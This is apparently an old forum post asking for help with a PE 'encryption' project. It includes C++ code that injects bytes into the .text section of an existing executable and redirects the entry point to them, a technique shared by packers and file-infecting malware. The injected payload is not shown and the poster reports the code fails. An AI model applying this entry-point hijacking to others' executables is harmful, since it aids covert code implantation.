Hi,
Introduction:
*************** *************** *************** ***************
I am working on a project that should encrypt PE files ( Portable executable
), this require me to inject some code to existing PEs.
First, I have tried:
1. to inject some code to the end of the ‘.text’ segment of an existing PE
2. to set the entry point RVA to the address of the injected code
3. at the end of the injected code I have set a jmp to the original entrypoint
The problem:
Opening that file and browsing to the entrypoint address I can see the
injected code BUT when running the application I can see that the IP points
to the correct address ( Base + RVA ) but the injected code is not there (
just some gibberish ), I tried setting the following flags for the section:
‘IMAGE_SCN_ME M_PRELOAD | IMAGE_SCN_CNT_C ODE |
IMAGE_SCN_CNT_I NITIALIZED_DATA ’, BUT still, No good, I get the same results…
A .Any comments remarks or pointers will be appreciated.
B. Any pointers to documentation concerning how the PE loader work will be
appreciated ( e.g. which sections are loaded when, … )
*************** *************** *************** ***************
Following is the code I use:
HRESULT InjectCode(char *pSourceName, char *pTargetName)
{
DWORD dwBytesRead = 0;
BYTE *pFileMemImage = 0;
LARGE_INTEGER liSourceSize;
HANDLE hSource = CreateFile(pSou rceName, GENERIC_READ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING,
FILE_ATTRIBUTE_ NORMAL,
0);
if(0 == hSource)
return HRESULT_FROM_WI N32(GetLastErro r());
GetFileSizeEx(h Source, &liSourceSiz e);
pFileMemImage = new BYTE[(DWORD)liSource Size.QuadPart];
ReadFile(hSourc e, pFileMemImage,
(DWORD)liSource Size.QuadPart,
&dwBytesRead , 0);
CloseHandle(hSo urce);
IMAGE_DOS_HEADE R *pdosHeader = (IMAGE_DOS_HEAD ER*)pFileMemIma ge;
IMAGE_NT_HEADER S32 *pNtHdr = (IMAGE_NT_HEADE RS32*)(pFileMem Image +
pdosHeader->e_lfanew);
IMAGE_SECTION_H EADER *pSecHeader = (IMAGE_SECTION_ HEADER*)((PBYTE )pNtHdr +
sizeof(*pNtHdr) );
DWORD dwWrittenBytes = 0;
// Copy the new function to the end of the '.text' segment
BYTE *pInjectedCode = pFileMemImage + pSecHeader[1].PointerToRawDa ta +
pSecHeader[1].Misc.VirtualSi ze -
sizeof(INJECTED _SEGMENT_LIBLOA D);
DWORD *pJumpAddress = (DWORD*)(pInjec tedCode +
sizeof(INJECTED _SEGMENT_LIBLOA D) -
sizeof(DWORD));
memcpy(pInjecte dCode, INJECTED_SEGMEN T_LIBLOAD,
sizeof(INJECTED _SEGMENT_LIBLOA D));
pSecHeader[1].Characteristic s |= IMAGE_SCN_MEM_P RELOAD | IMAGE_SCN_CNT_C ODE
| IMAGE_SCN_CNT_I NITIALIZED_DATA |
IMAGE_SCN_LNK_R EMOVE;
*pJumpAddress = pNtHdr->OptionalHeader .AddressOfEntry Point -
(DWORD)((PBYTE) pJumpAddress - 1);
pNtHdr->OptionalHeader .AddressOfEntry Point = (DWORD)(pInject edCode -
pFileMemImage);
HANDLE hTarget = CreateFile(pTar getName, GENERIC_WRITE, 0, 0,
CREATE_ALWAYS, FILE_ATTRIBUTE_ NORMAL, 0);
WriteFile(hTarg et, pFileMemImage, (DWORD)liSource Size.QuadPart,
&dwWrittenBytes , 0);
CloseHandle(hTa rget);
return S_OK;
}
--
Nadav
http://www.ddevel.com
--
Nadav
http://www.ddevel.com